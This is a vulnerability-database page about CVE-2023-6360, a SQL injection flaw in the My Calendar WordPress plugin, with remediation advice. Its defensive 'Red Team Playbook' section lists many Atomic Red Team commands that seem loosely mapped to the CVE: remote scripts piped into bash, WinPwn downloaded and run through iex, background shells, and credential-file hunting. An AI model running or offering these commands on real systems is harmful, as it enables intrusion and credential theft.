CVE-2023-6360
Overview
This vulnerability is an unauthenticated SQL injection affecting the 'My Calendar' WordPress plugin prior to version 3.4.22. The root cause lies in insufficient input sanitization of the 'from' and 'to' parameters processed by the '/my-calendar/v1/events' REST API endpoint. These parameters are directly used in SQL queries without proper validation or parameterization, allowing injection of malicious SQL code.
Vulnerability Description
The 'My Calendar' WordPress Plugin, version < 3.4.22 is affected by an unauthenticated SQL injection vulnerability in the 'from' and 'to' parameters in the '/my-calendar/v1/events' rest route.
Impact
An unauthenticated attacker can exploit this vulnerability remotely by sending crafted HTTP requests to the '/my-calendar/v1/events' endpoint with malicious 'from' and 'to' parameters. This allows execution of arbitrary SQL queries with elevated privileges, potentially enabling data exfiltration or database manipulation. No user interaction or authentication is required, as indicated by CVSS vector AV:N/AC:L/PR:N/UI:N. The compromised data integrity or confidentiality can lead to significant business impact including unauthorized data disclosure or corruption.
Solution
Upgrade the 'My Calendar' WordPress plugin to version 3.4.22 or later, as this release addresses the SQL injection vulnerability by implementing proper input validation and query parameterization. Detailed patch information and remediation steps are available in the advisory published by Tenable at https://www.tenable.com/security/research/tra-2023-40. No additional workarounds are specified; applying the vendor-supplied update is the recommended mitigation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the 'My Calendar' WordPress Plugin, specifically in versions prior to 3.4.22, is characterized by an unauthenticated SQL injection flaw. This weakness arises from improper handling of user input in the 'from' and 'to' parameters within the '/my-calendar/v1/events' REST route. Attackers can exploit this vulnerability by sending crafted requests that manipulate SQL queries executed by the database. The lack of authentication checks allows malicious actors to interact with the database without needing valid user credentials, significantly increasing the risk of exploitation.
Potential attack vectors for this vulnerability are diverse and can be executed remotely, making it particularly dangerous. An attacker could leverage automated tools to scan for vulnerable instances of the plugin on WordPress sites. Once identified, they can send specially crafted HTTP requests that include malicious SQL code in the 'from' and 'to' parameters. This could lead to unauthorized data exposure, data manipulation, or even complete database compromise. Exploitation scenarios may include retrieving sensitive information such as user details, event data, or administrative credentials, which can then be used for further attacks or sold on the dark web.
The real-world impact of this vulnerability is substantial, especially for organizations that rely on the 'My Calendar' plugin for event management. A successful exploitation could result in significant data breaches, leading to the exposure of sensitive information and a loss of user trust. For businesses, this translates to potential financial losses, regulatory fines, and reputational damage. The high CVSS score of 9.8 indicates that this vulnerability poses a critical risk, and organizations must prioritize its remediation to safeguard their digital assets and maintain compliance with data protection regulations.
To detect this vulnerability, organizations should implement regular security assessments, including vulnerability scanning and penetration testing, specifically targeting the 'My Calendar' plugin. Monitoring web application logs for unusual patterns, such as unexpected SQL errors or anomalous request patterns, can also help in identifying potential exploitation attempts. Additionally, employing a Web Application Firewall (WAF) can provide an additional layer of protection by filtering out malicious requests before they reach the application.
Mitigation strategies for this vulnerability should focus on immediate updates and patches. Users of the 'My Calendar' plugin should upgrade to version 3.4.22 or later, where the vulnerability has been addressed. Furthermore, organizations should adopt secure coding practices to prevent similar vulnerabilities in future developments, including input validation and prepared statements to safeguard against SQL injection attacks. Regularly updating all plugins and themes, along with conducting security training for developers, can significantly reduce the risk of such vulnerabilities being introduced in the first place. By taking these proactive measures, organizations can enhance their security posture and protect themselves against potential threats.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Joedolson | My Calendar | All |
cpe:2.3:a:joedolson:my_calendar:*:*:*:*:*:wordpress:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
tpdlshdmlrkfmcla/CVE-2023-6360
CVE-2023-6360
|
tpdlshdmlrkfmcla | 0 | 0 | 2025-03-18 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-6360 |
| tenable.com |
GitHub CVE
|
https://www.tenable.com/security/research/tra-2023-40 |